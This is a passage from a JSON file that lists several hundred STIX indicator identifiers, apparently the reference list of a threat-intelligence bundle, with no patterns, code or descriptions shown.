        "indicator--9fc45c24-b64e-4ad5-baf8-894c5c1e04ff",
        "indicator--1696d5b2-88f2-497e-a45d-6e94d2c0daf5",
        "indicator--8c731544-acab-4ce9-b96d-c305a5739dbb",
        "indicator--6061a139-2358-4f19-a0e4-ced459f80d08",
        "indicator--5b715f0e-3f7a-483e-8cd8-b1015cc8caeb",
        "indicator--9d4f98fb-11a9-480e-90a4-e846b2325a9d",
        "indicator--e1be3fb7-e8ea-4230-9b2e-889594e653b7",
        "indicator--b2a2d220-a70f-4fd1-b86a-6f7f83249e9d",
        "indicator--da93f64e-7dec-4eae-8951-d0fe0ff99b4a",
        "indicator--bb5091aa-921d-4d74-83a0-f2ff334430ad",
        "indicator--f99f3b06-a3e8-45a5-ad94-7377f59ef962",
        "indicator--64eee6af-df87-4b36-90df-88b92a65fdbf",
        "indicator--108a8ba5-ac1b-49e5-9b59-e72c7f9e7ee0",
        "indicator--c54fc0b6-3491-4898-ac18-043d55bd4766",
        "indicator--a6d75126-921c-4973-9730-ff44e366979f",
        "indicator--a5e0adb3-a01b-4d36-aa5c-8ae828c62932",
        "indicator--ebdc0dcf-b8d8-4535-869d-6cd27dbbabbe",
        "indicator--f5fb0cab-c50d-488c-a901-912620cb2c11",
        "indicator--7f3df1ec-079b-452f-847b-d4d5479b4fe3",
        "indicator--20377878-bc65-4184-9d14-b9a1578fa742",
        "indicator--0cc7f933-26af-4f3c-9e1a-7b29f8b0a26f",
        "indicator--4b4c35a0-b706-4996-9c0f-d8ed8b354c34",
        "indicator--d69938f2-27c0-4dcc-9996-e45a00c53674",
        "indicator--94f27c25-01ac-4667-b763-d4d7af28b7fc",
        "indicator--d69c5b75-c802-46b0-8a75-a0a8f8c78214",
        "indicator--20464eb2-f3fb-4b9e-8468-d4a860b8e497",
        "indicator--26ad0b23-b05d-40a7-a382-41c43047a0fb",
        "indicator--d7e1b455-178d-4b38-b1c5-56130d237a7a",
        "indicator--8c03b35d-128f-48a3-affb-f000c4bf982a",
        "indicator--27d79ed3-15af-4592-82fe-1a7c6db21dbe",
        "indicator--6fdaf4d8-41e7-445a-82f0-a66c516a4575",
        "indicator--db4fe475-5575-48a7-a269-65e1eeddd524",
        "indicator--dbd64dea-773c-4b69-9173-f964307f0d1c",
        "indicator--1ec81b43-0d06-415c-9f6f-7c5363cc9e22",
        "indicator--b4ed19a5-51ff-4358-ad12-cf6e697dfe24",
        "indicator--9a8c5734-2468-481f-b8f9-42863a251769",
        "indicator--566e167c-06d7-4635-a2c5-68a86ea1e584",
        "indicator--cf9659ae-40e4-42c7-bf57-00481935fc13",
        "indicator--88f1cf54-dd8f-431c-9ef0-cf38196eb4e8",
        "indicator--7626df79-3b58-4cd2-8b19-2b8425696ffd",
        "indicator--645c624e-f0de-4ce0-811f-55b97cbbf487",
        "indicator--a443e7c1-e03d-49cb-85a2-075ef26ca060",
        "indicator--0d7f31e0-7e9f-47a2-896e-3ca0e48e46d0",
        "indicator--2fbc795e-23e9-4c0f-a218-eaf942fa4e4a",
        "indicator--fb742675-9965-448d-a98d-7e90c03bdb0a",
        "indicator--18b4be13-59e5-43a5-9cf1-390887ac80a5",
        "indicator--0b09f7db-8b73-46d9-a5fe-6c1ca8b0c656",
        "indicator--6ec3b4fd-aec1-4367-bd5d-b108136242b4",
        "indicator--874eeb6b-19fc-486f-bd87-524b3cfe6d65",
        "indicator--7e7eab8b-c859-4f53-8445-977328ee3142",
        "indicator--2a6dfbf0-b5e2-4358-a854-c0064ed3cb50",
        "indicator--858f6349-b242-41fc-a083-22bcd579e0b4",
        "indicator--fde3b5a3-cb0e-4b9e-8a51-efafa95168c1",
        "indicator--4eb81434-3cf8-494e-a546-05fd8e9266bb",
        "indicator--55f8866c-3b2e-4d34-80f2-db7fa621b174",
        "indicator--5867bc55-73c5-4d62-87c1-5179c8ee8491",
        "indicator--bc78c83d-17b7-4353-9483-7d09679a3c5b",
        "indicator--d84a25ec-6051-4239-b031-0e9bc2df43e9",
        "indicator--12117c8e-8e11-473d-b94a-cacf937d3378",
        "indicator--5f7efb3d-2164-45f9-838f-0129fe2fed82",
        "indicator--62c2dac0-1558-4520-9264-2d306852c2a0",
        "indicator--ddf341ab-b265-4e44-99b3-6d29268fe495",
        "indicator--55adb66b-3292-414c-aff4-44993971d304",
        "indicator--1a75d8ac-4112-4935-b528-79e716538a4b",
        "indicator--46125dd6-13a6-4982-91b9-b80f2868f4f2",
        "indicator--866cbd1b-c0ec-4bd1-989f-2be6a7795a37",
        "indicator--4b05293e-0759-4de7-82c4-4b8ee362be94",
        "indicator--3e5e955a-3f23-4de3-99b3-f45980a58907",
        "indicator--77f42158-79dc-40b6-8379-efb5e7fcd6f9",
        "indicator--6bac5793-e210-438e-a6f5-e2a633dd0ad2",
        "indicator--8c38a34f-fad1-4771-918f-59c21f6ad910",
        "indicator--fa618eff-0bc5-4945-afe6-d441af096fcf",
        "indicator--7025afa6-2069-4bc8-b265-0f53bb65db2d",
        "indicator--17318872-f02f-4cc7-ae04-c06093bcd4bc",
        "indicator--9461887b-01cb-4893-977a-8bf15d4d2dbc",
        "indicator--fb7aa053-e552-4af2-8875-6d1dfe7ba819",
        "indicator--4c4b382b-20d4-48aa-b7a3-058a3ac8bd96",
        "indicator--492c01ad-5305-4040-8402-e91b55a34181",
        "indicator--d6a0e595-e434-41ef-8369-b9d958df8452",
        "indicator--43f99998-c6b8-4437-808a-7b966094c387",
        "indicator--b6909b9c-3988-4c40-9ca8-d26f240611fe",
        "indicator--7b28ecdc-ab61-4575-a826-256f3933f9ff",
        "indicator--6f69d4f2-5072-470e-8f58-9cbfae955fac",
        "indicator--9853f137-ee55-45bb-b65d-1a39884e7979",
        "indicator--b2660d5b-b2f8-4ffa-a03b-be9916f22638",
        "indicator--8e1afb5c-a801-4405-9b62-ae24559192c7",
        "indicator--61f5dfe7-f235-4b86-aa7b-7038b2e35661",
        "indicator--e307d726-06ed-477c-8365-8cab60e2a728",
        "indicator--66306cc4-c42c-4a1b-89ad-d9bdb441660e",
        "indicator--8b1480c0-7c09-411b-8ff0-aab08fc33cf9",
        "indicator--18c73ae4-747e-497d-a13f-ef25a7239e75",
        "indicator--362952dc-874f-4067-972b-5502de62eb8a",
        "indicator--0d49c8cd-f4ca-4bfb-8e28-f52c1e670cd1",
        "indicator--42fc0b1f-2df2-4d67-b987-c32d1382f9e1",
        "indicator--f831f5bd-de9b-468c-94be-6abee8a67577",
        "indicator--52ce7fb1-f479-49be-a357-0464574b6198",
        "indicator--bd304c65-6b21-4037-9154-57ba5296fd6a",
        "indicator--f10c4a72-e9aa-47e7-8fad-6c23ac00f5aa",
        "indicator--b204242f-73a5-4842-8de4-87d9d93d38ab",
        "indicator--579fa1c7-0475-401b-9323-47f01b7948c1",
        "indicator--7330c72d-a585-4b4d-848a-f43b86826036",
        "indicator--e66318bd-fdba-4b6e-a4b4-f89421ebc251",
        "indicator--602a8ee9-292c-49fd-b5f5-32bf3a9e74fb",
        "indicator--c352baca-761d-4faf-8fd7-42bfb0cf9e49",
        "indicator--51a69c26-e49d-4d44-9cab-ef8279e55986",
        "indicator--167f8388-2afd-488d-9249-321006d6e9c9",
        "indicator--52fd5203-7bb9-4def-9b14-9bbe516e2d47",
        "indicator--3005d7b5-0a97-4d72-9416-bab8f95504f0",
        "indicator--cb2bdc26-a574-4fa5-b18b-1bf2600a235c",
        "indicator--fdfdc51f-35c7-4887-83b7-93c9ecf1b6d7",
        "indicator--888b5435-621a-43fe-a8ad-a7a6f2dd6193",
        "indicator--2210939b-82e9-4ea5-b1e4-0f27ed8af4fd",
        "indicator--a2f9f849-48e4-4f59-8d8e-c1ee66218832",
        "indicator--64c3ae97-2ebd-41a4-9e70-4a9f31b89c48",
        "indicator--cb4f1638-6b37-4d10-92bf-f783a6697636",
        "indicator--369d2f00-8e5a-4b89-aa66-db9328941364",
        "indicator--d2076ee5-7f8c-4246-8bea-fed0e2b4c6bf",
        "indicator--85d9fff4-e836-4ce8-9bc5-4b159b6f7d77",
        "indicator--1a1146d8-9fb6-4eff-8d36-101abc2a5218",
        "indicator--04bc6e0d-d038-482d-91df-73974f1cdb8d",
        "indicator--b65c3161-596d-4a63-914d-3661a14bad49",
        "indicator--c2fec07e-80e4-4972-a2ef-43551e300717",
        "indicator--ac2d0610-e6aa-4c32-9ae9-3497aa30b39e",
        "indicator--6cca74b9-a61f-43d7-8b79-85e9d189b851",
        "indicator--3c6d9c53-7968-45bc-989b-6a32b249be18",
        "indicator--fcb0e40d-3f27-44bc-bb84-f85af7b88e0a",
        "indicator--e14d67a0-ca75-48d2-b7a4-005e3ccb1e5c",
        "indicator--c2eda69c-fa51-4df3-9cbf-6b9927e6663d",
        "indicator--c26fad27-8a42-4e18-aeb7-d91630519b13",
        "indicator--47e04933-e953-44ef-9af0-ac91d65e3fe4",
        "indicator--c2068b06-f40a-42ef-837d-8b18e2af93bf",
        "indicator--409be16a-7745-427d-b8ee-0f19cec8a40e",
        "indicator--ea7c2453-e0f8-4858-a7b5-19d1d0bb4d98",
        "indicator--7c4c9778-2131-49f8-9c71-1b9b7408e1c1",
        "indicator--852ea53f-c91d-43e6-bc5f-2b0efba7a0e7",
        "indicator--90434ad5-fcff-4829-b6e4-30aa022a7cc0",
        "indicator--cf173c6b-41a7-4545-809f-13f898b80876",
        "indicator--690d949d-c1ec-41db-87b6-3b7860962845",
        "indicator--609281d0-12b3-46df-a80a-1d40a8680dc1",
        "indicator--bd3c2c15-4839-49e7-ad54-50505e331879",
        "indicator--298744d1-197b-46bb-8b02-0325c6a5ba82",
        "indicator--232696a6-4e08-461d-a9bd-83080c5be0ed",
        "indicator--682f2aa8-a50f-4b31-8d65-858128bcff42",
        "indicator--02f6bcbf-349f-4417-9f44-555fc7ed6bbd",
        "indicator--1db168ed-8d3b-44f3-8b27-503e0d8fdfeb",
        "indicator--081c8e2c-9d18-48c3-a7b4-900591042b9a",
        "indicator--7a97d520-90f0-45c8-b1e3-ec99738647ec",
        "indicator--b0c56972-9460-48e3-8999-b8a2d1e8d093",
        "indicator--f09ba96d-d051-41f6-8892-d7de9c127297",
        "indicator--381b64ea-b7f7-4d8e-844f-a6f490bfb040",
        "indicator--946721cd-76c8-499b-99dc-74a53db04288",
        "indicator--b5913c29-4386-4e87-adce-7b4ecfecc0e7",
        "indicator--dd5d9b56-0319-4ae7-bc66-a6026701a1c6",
        "indicator--cf3ce828-8d3e-4ed9-b00a-11aaff56fd78",
        "indicator--05f052a3-162a-49d3-83fe-bf5b7b38e63e",
        "indicator--853d6a44-1df4-41f2-8ad8-4d3cd0fb3131",
        "indicator--73453993-e56f-47a3-8207-a4b03d9737a5",
        "indicator--6fb1daf3-e78b-48fc-807c-fb53660aadf0",
        "indicator--461a1d88-9c65-4420-a8f9-6ee2f85d4495",
        "indicator--62345355-38fa-4d07-8ab2-3f3e74976ea4",
        "indicator--3071b46b-8661-412e-b72c-0a91b89381ed",
        "indicator--02753219-0286-40aa-9d1c-225660b0da46",
        "indicator--8d6822f8-4086-4aea-9681-312afed18b34",
        "indicator--e840b7b4-273f-412b-bdb3-235523af54d9",
        "indicator--0dd35b83-2a37-4abc-aa62-5b9650e8a55a",
        "indicator--3137882d-fc23-4f3a-bf1e-7e174abf8165",
        "indicator--d4bd8c44-9cac-4d81-94f6-a5833d625df4",
        "indicator--03ea3aaf-dd53-440e-b96c-34d1dfe3708a",
        "indicator--de2cf80f-75c5-44c1-a811-03f4b42f52bd",
        "indicator--11614f84-a4a8-4ffd-be32-0771b50fc72f",
        "indicator--2864320c-9010-4861-b0ea-2bef2fcbff05",
        "indicator--42f479ec-3f51-4283-94ac-316069c9cae7",
        "indicator--c0d5f199-a479-4d69-880c-95297f311b9a",
        "indicator--91beca93-799e-486d-978b-d8687d91fceb",
        "indicator--78bec432-1f33-489a-b26f-288526aaf820",
        "indicator--6a30f5cc-3727-4943-8ffa-27c62e427696",
        "indicator--cc2ea824-cbdf-4a4b-8e5a-383841fe2e96",
        "indicator--2f7f8241-521e-424d-a487-71edda01df17",
        "indicator--97f1f511-a977-47e1-bc80-ffaad7130023",
        "indicator--4bb7efe3-85f6-4746-90c7-138200e2dfa5",
        "indicator--972e922a-1caf-47a7-a05c-bf4e717d4b11",
        "indicator--7e404f6e-5355-427b-a820-9d0660311851",
        "indicator--a2fea3bc-f010-436f-a479-ad589d58de45",
        "indicator--c9150fd8-7073-452f-87d5-bb73d56301ae",
        "indicator--46a26322-ea99-43f9-ae21-3cbae08e990a",
        "indicator--0253b16c-fac2-4294-88a5-5447fb52a140",
        "indicator--cedc7b58-2f78-41df-8ac0-194831c1f39a",
        "indicator--ff8382d9-930d-4df3-af5c-d1ad42c2bf90",
        "indicator--f7ace768-ae17-4f79-a5fd-72e1500e245b",
        "indicator--8190a4f2-af78-482a-a615-c0a722e4c008",
        "indicator--5ddb96f9-07fe-4a64-90c6-3c66f97ce512",
        "indicator--691c8b84-15ed-48f3-8437-2b67d59be192",
        "indicator--f63b55e1-8761-4367-b54b-66701238dd10",
        "indicator--56c6a97d-782f-425f-8d30-839f6f78e7c2",
        "indicator--35f32505-cf68-4376-b1f2-44b003bc87d4",
        "indicator--d3271cd7-fabe-4841-a972-6f40129145a5",
        "indicator--ed2685bb-d975-441e-b21e-63fc2b67d0f0",
        "indicator--35f93594-8a67-4cd3-bc08-0502b85a9319",
        "indicator--268be8dd-1990-49d3-9af1-b1ef82b1553b",
        "indicator--5bf0dbc9-9a3c-4cce-9778-358c0145142a",
        "indicator--ea109d81-e943-4c50-b63e-5263fe25d6d4",
        "indicator--669c20fa-8475-4770-a357-ae75dce5da8e",
        "indicator--dae05feb-9c37-4788-bf5e-e728e2c8d2ad",
        "indicator--09a93087-71dd-430a-a183-5b402257819e",
        "indicator--08318bd6-f6d3-40b1-81fe-8cb3969e7671",
        "indicator--d60368d6-43a3-4a8f-9365-3bfd9283e61b",
        "indicator--9fbc50eb-7251-4d53-9f4f-10ae2f324d6a",
        "indicator--56a3cb82-0791-46ba-8db4-679255576602",
        "indicator--34aad81d-aa5f-4382-8add-6dbb33ba614c",
        "indicator--17c56cd9-4c04-466d-a164-6885a6008d50",
        "indicator--806d4d56-055e-4550-b42e-41abd484c7a6",
        "indicator--76ab1861-4a2f-47db-a69f-740be668564b",
        "indicator--c0c6236b-7922-4ff1-9ac2-7c89e672ca8d",
        "indicator--b9654f19-6669-47a6-858d-97d0e18314f2",
        "indicator--0d623d01-fdc7-4ea2-88dc-b73fa405f219",
        "indicator--02acbc36-45a4-48ad-af82-fb5fd56c1d63",
        "indicator--9c501d29-bba6-409c-8c9d-ee5a9efbfeaa",
        "indicator--85bbb77f-c5bb-41c3-b202-baa614dca201",
        "indicator--78e11819-023b-4df3-887d-e000fce1ea4b",
        "indicator--966ad149-036a-4c13-b48f-6240e609a1de",
        "indicator--8adac513-7fba-46a2-8630-f63ef2d88d40",
        "indicator--73549762-fec4-4188-9f5e-1541efc2b45e",
        "indicator--6be5ace5-ee35-4017-acf0-95422be1a181",
        "indicator--b8200203-f0a5-4299-b95f-89e6aef40cc9",
        "indicator--7a5c831b-7779-47c4-841d-9c689f20799e",
        "indicator--c1876374-34e8-4ead-a50f-e115118defad",
        "indicator--968bd478-a86c-4306-a12e-ea4afd1c561b",
        "indicator--fb1d404d-caf0-4472-a840-af3971351030",
        "indicator--3bc8d6de-0671-4db2-80aa-45f8f8f253b2",
        "indicator--2e5afc15-f3a0-4401-b840-42bcf6e2f7b1",
        "indicator--6db4add2-7ec0-4420-837d-7021cdb349bc",
        "indicator--50a68ced-2c74-4ffa-950e-639274c4e41a",
        "indicator--3f65b6bb-b27a-40e0-8f2a-1187373495cd",
        "indicator--57644962-a06f-409b-b120-9d6b075934f3",
        "indicator--1b3c8fb1-69e0-4de8-99a7-b3e73017cfe2",
        "indicator--07abaf1e-ae4a-4a3a-96ff-506ee41d7d71",
        "indicator--4d6ae02f-9545-46ac-a8c7-0468cf9534a2",
        "indicator--6a9ad57e-8093-4c33-880a-76590bc3a377",
        "indicator--90124d10-be60-434f-acb2-0848a0182e9c",
        "indicator--f4b228b7-cb5b-49d9-bca8-6d684b5cc786",
        "indicator--1cf32e0b-ba68-4dee-857d-07ced894fc1c",
        "indicator--b86c62ab-d569-4d2f-81dd-cb7d9dc63f99",
        "indicator--99c77553-e7d2-4a9c-a464-d24b76fa8764",
        "indicator--274a10e1-a503-4861-b46f-ae8f35e8b485",
        "indicator--d013c52d-a1cf-41a8-b414-1b637335867a",
        "indicator--fd9d38ca-de45-4ef8-8ba6-c4a142947783",
        "indicator--c916db64-8b5a-4545-88cf-5a649116b81d",
        "indicator--54efb4c4-68f1-4ad7-9aff-0503cf9de4fb",
        "indicator--4fe3bce5-f89b-4c63-aef5-0f9b347000a8",
        "indicator--08180ff2-daef-4680-8609-1983706a0353",
        "indicator--1d063ed0-1280-458f-993f-9f10e68be3c7",
        "indicator--66e4e0a9-d478-46e5-ba44-a408cd25dfd0",
        "indicator--24691481-6525-4d0e-9ead-a3b71aa2ea92",
        "indicator--e733c764-49d6-4fe9-81fc-303651418302",
        "indicator--4d0c96fb-9876-44a5-a3c9-3f5998eaad2d",
        "indicator--4ee4cf76-1462-4239-9ff4-b69159fd4753",
        "indicator--01bc310a-bc57-4182-96fc-8efdf4f1f9ea",
        "indicator--ecbb9101-d745-40ff-bf08-2df9b1a79bce",
        "indicator--71ee8636-d409-4d18-b51a-dfb4e17c2e5c",
        "indicator--2ec9efab-8790-41c7-aa34-62b307ff4c55",
        "indicator--55e48782-ec1e-406f-b55a-43eea07a1f39",
        "indicator--b9d75175-f036-482f-9a61-eacedd99519a",
        "indicator--6e04017f-e893-419c-92e9-6ffa201bc81a",
        "indicator--a62daebb-ca65-416f-808a-1bee8679e8cf",
        "indicator--c5ff2b89-d40f-4183-aaa3-513a88c2c1d0",
        "indicator--29e6102e-5c60-43c7-9a28-d6393b657a90",
        "indicator--81529d24-6bf2-4b55-aa3e-a5f536d978e2",
        "indicator--a9d768c8-d53b-40eb-83b2-8a68fd9b7574",
        "indicator--d7b09dd9-f7de-4b17-b87c-70777d769df8",
        "indicator--ecdcc049-1933-48cc-92ed-c27c7e8765ac",
        "indicator--c8af1bc2-9352-419f-9850-d27f290f4549",
        "indicator--94402adf-625e-4a52-9929-e2ecb52855ef",
        "indicator--467dac1b-5581-4c5f-a399-786b2a9fde98",
        "indicator--61677b5e-6d73-4887-9ca6-596115e690a8",
        "indicator--54a480cd-4ade-4bf3-967d-95322671ddf6",
        "indicator--66eb55b5-0ab4-41c3-abdb-4d4c91606fb5",
        "indicator--faed2efd-6f13-467a-824e-d162785bbcea",
        "indicator--4d89305a-b9e3-4944-aaa0-333808a7dc57",
        "indicator--aa732ff9-b935-4eb9-99f8-02b7eda76889",
        "indicator--4cdf4d51-04bf-4773-b43c-4c638be3003d",
        "indicator--405b9d8e-8fa2-4ff6-affa-7a62047e888c",
        "indicator--1acc5d44-f7da-4b58-8ee1-85fbc5214853",
        "indicator--7a4c7bcd-a309-4726-92af-34d3173bff49",
        "indicator--63c6254d-a2fc-4efe-9f64-4b13d6547172",
        "indicator--67e48361-b79b-4abb-bf04-8f2ee022d5e7",
        "indicator--db068391-72cb-4b58-bf5c-a0000479f3e9",
        "indicator--66410ad5-c1f1-43d2-8a7c-8d540b9894b0",
        "indicator--f96fbbfc-7689-4020-9e29-7b05cdcd549d",
        "indicator--b271418f-8d79-4baa-9b3f-c10b983b4a3e",
        "indicator--6f936bce-90e6-40ff-97b0-b2fbce00652d",
        "indicator--cdc2b746-51e3-4453-bbe6-9f667db7c070",
        "indicator--7207801c-c0c3-4653-9f9d-1d9bb6a228b1",
        "indicator--d6754e2b-6534-438e-bf25-8bf50157ad9a",
        "indicator--7db424a9-401e-4b28-bc46-22c7a653e203",
        "indicator--437e6367-1117-4588-8934-6abdaa4cbbba",
        "indicator--f7b4c45f-0ed8-4d82-8325-38b7310ea6ed",
        "indicator--992badb4-63b6-4474-a7ee-fac95ca5f33d",
        "indicator--1e7593fe-ecbc-4151-86a1-c091b778292c",
        "indicator--9d8742fa-74c5-4811-9326-32cebed63c3c",
        "indicator--8b4c5846-da16-40c4-adb7-bbcd066f20f6",
        "indicator--505a7e46-cc3d-4b25-9ba9-a6b03d096626",
        "indicator--4b355d74-0433-400b-9b8a-cab27dabb4da",
        "indicator--b933a317-3678-4f88-9822-2bfa70680431",
        "indicator--9d6e2620-4476-4ff9-91f7-c5701abdccd7",
        "indicator--c82ac780-5afe-4e5e-92d7-39334208d5f5",
        "indicator--206a453f-a51f-4ff8-820c-128493fd30a0",
        "indicator--d63fcdb2-47cb-48e2-8558-2aa1be0c437f",
        "indicator--e4330c67-a161-400e-a0ab-b947df1af1e9",
        "indicator--f98f9128-6af2-480a-9bc3-1a80fbba66ed",
        "indicator--0a35c22f-e570-40e1-bc4c-f1c97b5000e1",
        "indicator--09ef3c5f-7b47-49eb-b5a2-b6d0dac5c770",
        "indicator--243e9797-f7d9-4a3a-90b7-42210ab62a37",
        "indicator--b6e8b27f-d2c8-4bbd-9b8c-fb626474769a",
        "indicator--65d8e836-b00d-4acc-b430-db89f6ea5f0d",
        "indicator--86edd35d-af96-4c73-8359-a6f68a24712c",
        "indicator--a624793e-c8a4-410b-9df3-2990f309e521",
        "indicator--89a4250b-f110-42b3-b902-2e888462c16b",
        "indicator--f613f802-4cd3-4bf9-82b5-b7df616963b3",
        "indicator--809e80ef-9f0c-4e81-8041-61e148bec1b1",
        "indicator--a404199b-ac2c-497f-b464-1454a5b8794a",
        "indicator--2682260a-4f5d-4b67-9564-ffaea004b022",
        "indicator--cff5edcb-e840-4f33-99f1-47f7f1d25d0c",
        "indicator--8490b81e-a256-4d8d-85ff-e812c5805ed6",
        "indicator--73541bc4-4cfe-455d-b7be-258bf6232260",
        "indicator--ac8e0747-2f1a-4f4d-a818-9b6d7b3c7239",
        "indicator--93a5861e-37a4-42fa-b5e2-28d780626c83",
        "indicator--fc29090c-3faf-42ab-809c-b76dd77a94cf",
        "indicator--bd01416e-cb0c-4eaa-834f-3a5c4088953c",
        "indicator--e47aab73-b615-4a04-baa7-56749125e6a4",
        "indicator--57191090-5546-4b6d-bab4-29dd9048a3df",
        "indicator--5020628e-69e1-4504-a09e-a17fc9e6d486",
        "indicator--2e0a10b9-538a-4686-93dd-52e1ec8decfc",
        "indicator--dcb3ae66-6767-42de-8328-2da279118f82",
        "indicator--a6d7ebdc-56bf-44bb-be91-a0814e629c61",
        "indicator--0b5f7235-2db8-4fb8-a2e0-360052bc1dba",
        "indicator--13f81a2f-1d80-4c66-98e7-ae6ec5c55e80",
        "indicator--cc43a6bf-32f9-4eeb-b776-d860b2b1ca76",
        "indicator--46a2ed47-6052-48bb-be2b-493db0fc4e5f",
        "indicator--1897e4eb-ab15-4b4c-91de-664414967d41",
        "indicator--4424c0fe-3518-4dd6-86d3-f5944acab643",
        "indicator--ac1f8dcc-ba7b-4f82-b55e-9e40c88f53df",
        "indicator--72bf5aaa-f5c0-4ffa-87ba-e344f0f733d4",
        "indicator--a1ada5a7-d701-4e47-bea6-836f9614341f",
        "indicator--3cbb4fa9-7e44-46fa-a6d2-771079b4ba37",
        "indicator--389eb1f1-ceec-42ff-9301-65b9ddbe1479",
        "indicator--128e8247-8ffa-4159-b0cb-53d02ca24903",
        "indicator--599a96fa-dada-4d5e-849c-1b45fd30ade5",
        "indicator--a471c138-f9ad-408e-97cf-bf2fafdf157b",
        "indicator--de868aea-0f59-40be-ad45-2611c3706684",
        "indicator--d5b31be7-1865-4c61-af1a-9b07215ec99f",
        "indicator--a4489480-851c-4fad-9e58-dfc4d751664c",
        "indicator--0491a356-eec6-4a17-8c84-ef867b5852b5",
        "indicator--067716d1-8795-430f-94a8-554387482d49",
        "indicator--cc2d8688-f546-439f-a0a7-af27fe3452ee",
        "indicator--456f949d-5701-41d5-8c72-3a7bb9c57ee4",
        "indicator--4ab7fc8a-bafa-458b-af5b-dc59465f1aca",
        "indicator--398366fd-2bf1-4b93-aed7-767e22c1d733",
        "indicator--656c9cb4-56ac-47a8-9c8b-a6946915eb82",
        "indicator--d9e5b71f-6be2-4d28-a4df-f58cd78328dc",
        "indicator--788fe072-00b5-44df-b4ed-4db0cde1a228",
        "indicator--2ed90b94-44fd-44b8-a53f-b787e49cd8af",
        "indicator--b4496946-3d13-4eaf-9ee1-d54ebc90b633",
        "indicator--72eae20a-15ed-4e1a-af84-ab9c9738618f",
        "indicator--5edda73e-acc8-4a2b-9ad6-757a88a9e839",
        "indicator--245563b2-b937-4a67-a941-e39a5a65ea3f",
        "indicator--63d6a868-56ae-4f8d-9c4a-3b85d684c11b",
        "indicator--01b64f31-1872-4e42-809f-9456d4389fac",
        "indicator--69119d6e-b02d-41db-b31c-3498231dec56",
        "indicator--0cc7d6ab-cba3-4d2d-ba8c-c7f852a25042",
        "indicator--2430c931-100c-4c41-8e7d-348ce7cf8e54",
        "indicator--7f062431-d18c-416b-9e31-5b4eec18ddba",
        "indicator--0d2f52e6-5bf6-495b-b276-e3b9e1a8141a",
        "indicator--cc8732e8-d569-4f6c-bdbe-ffd1207ea461",
        "indicator--bdf58925-9691-42cb-b00a-1d57d7fcee39",
        "indicator--ced9663e-397e-45fe-918c-22361459ea19",
        "indicator--31bdbadf-bbd8-4120-9c89-75a4b5a6268e",
        "indicator--14a4f3e1-45f1-4180-a0e5-10f219688c30",
        "indicator--e3f5d524-ed6c-4671-b17d-6613f131c15b",
        "indicator--4e028a77-f322-4a79-8a61-6d2801855a36",
        "indicator--311bcff8-b450-4c33-b129-3125fccba968",
        "indicator--d2bd4395-0676-425d-8361-c4f51a5d3186",
        "indicator--446dab3b-e8c7-449d-8da9-de584ba0e886",
        "indicator--61f74065-1581-44a9-8e61-7b07b91085c8",
        "indicator--0883adf5-4a0b-41d2-904f-87df81fd2f22",
        "indicator--d33a2c25-b221-4df3-8b23-0538cc36c334",
        "indicator--d54e58a6-8127-43e9-ac68-66c44bc471a0",
        "indicator--8b2b11ce-a9a8-4a02-aee3-86453a213e22",
        "indicator--9ed179cc-d30f-46ed-af11-fea77912e5d8",
        "indicator--410b9e82-bea4-4fde-9809-2d032630fb91",
        "indicator--b34904ea-2759-4e00-a35e-2934faf62aaf",
        "indicator--3bf70f86-8d41-407e-893d-cc8144091b16",
        "indicator--3d724366-9a80-4355-8499-0575b74ac06f",
        "indicator--e70caae9-97e5-4d77-8ce0-29d2e12ec0cb",
        "indicator--bfbf45e5-5a3a-4eac-89a8-0e78e4e4128c",
        "indicator--f9aead1a-a21b-49d5-831f-f98d1ab7645c",
        "indicator--26995cc9-0d53-4f4c-9b88-363d3174d581",
        "indicator--a2e98f4f-a728-4e70-b102-365c0c1f3a89",
        "indicator--aa2e8c48-8bd5-48eb-b782-f2cbc0f34ebb",
        "indicator--4f7d318e-900f-4040-904c-253c4d375bc7",
        "indicator--9c9f44ea-a4f8-4f2f-9918-97a835615f0f",
        "indicator--4558285d-e46a-48c4-a9fd-d646eef09104",
        "indicator--87f80bfe-0ae9-4b6f-8fa0-78ed3cd4ab1f",
        "indicator--663a6462-1865-42cc-ad4c-7cbc94915afc",
        "indicator--39cacbca-2bb3-4db7-9253-0d73fe626820",
        "indicator--f40c254d-5cc2-48e2-803c-71a119e33da0",
        "indicator--c7e96d16-cee6-4ab1-8096-06e9e4477f16",
        "indicator--c0c261e8-7a52-444c-88f4-3eefa1c1b5e7",
        "indicator--6a04e8c0-b4bf-4a6d-aacd-c8fa3942cb4e",
        "indicator--38aace4c-9f42-4b9c-8945-7adaf9a92c68",
        "indicator--d54c49d5-405d-46b9-9b50-0ee7c420e1a6",
        "indicator--8088dafc-8fb6-4eff-91c7-570de5b8df0a",
        "indicator--60f7f869-7ddc-4cb0-aa6e-7a6f9dd93b5e",
        "indicator--8ec98206-549c-4b46-9651-11cce84171f3",
        "indicator--91d859e7-01b5-430b-a6ce-d5a624b3b1f0",
        "indicator--ad7d070e-a5ec-45a4-8782-59a5ccc7757d",
        "indicator--40a52909-6871-432b-9e60-2a13797f15a1",
        "indicator--64e949fe-8ed3-4d45-9149-354c5fa33cd0",
        "indicator--ab0c2d46-39a0-43f5-b528-e9607e55e222",
        "indicator--20836fc3-47cb-4592-bbf8-14f8813127cd",
        "indicator--31480317-0b03-4197-b6c9-4fb78920a1a4",
        "indicator--8c8ac895-fe54-4ef6-b605-774bc09a9677",
        "indicator--36e9ca2a-efc5-49d2-85bb-3110d49ad787",
        "indicator--5fc07cad-0d16-4e77-9fc2-33ad17ee0671",
        "indicator--141db625-9ec8-4801-bf1f-259b67c12fbc",
        "indicator--3c7c1195-0026-4b34-8c55-64a978e32aa2",
        "indicator--471d0e6c-43ca-4942-a009-7e1fc51e27bf",
        "indicator--ad8ef215-67a7-48e5-bd33-a53a104ed941",
        "indicator--bec53e86-4343-4f08-abe5-902ce00d18d2",
        "indicator--b4f0777e-7209-4031-853d-6f5af8d8436b",
        "indicator--0bd3ab71-5941-4934-be7d-b3682686be1f",
        "indicator--17f97ad9-8366-4439-917e-3417f639d424",
        "indicator--2edb8226-bfe7-4e23-ab19-c237020ba2c9",
        "indicator--3ccb657d-0654-4a91-aa62-dafe3a3f115e",
        "indicator--1b0e89ae-a605-4be5-9901-799e9e09f652",
        "indicator--f66c0952-fea6-4692-8ce4-8f8b09059265",
        "indicator--e36e18b2-7f67-42ab-b3ae-22419cd79583",
        "indicator--3b7b6bf7-37ac-4a69-b6f2-aa10e796f17a",
        "indicator--f89cd6f4-6878-4282-b86f-df70d8ed9bbb",
        "indicator--b7e5e3f8-82e8-4252-8897-a7568176704d",
        "indicator--49c03d00-d42a-4c3c-9d8d-2d523d1bba0b",
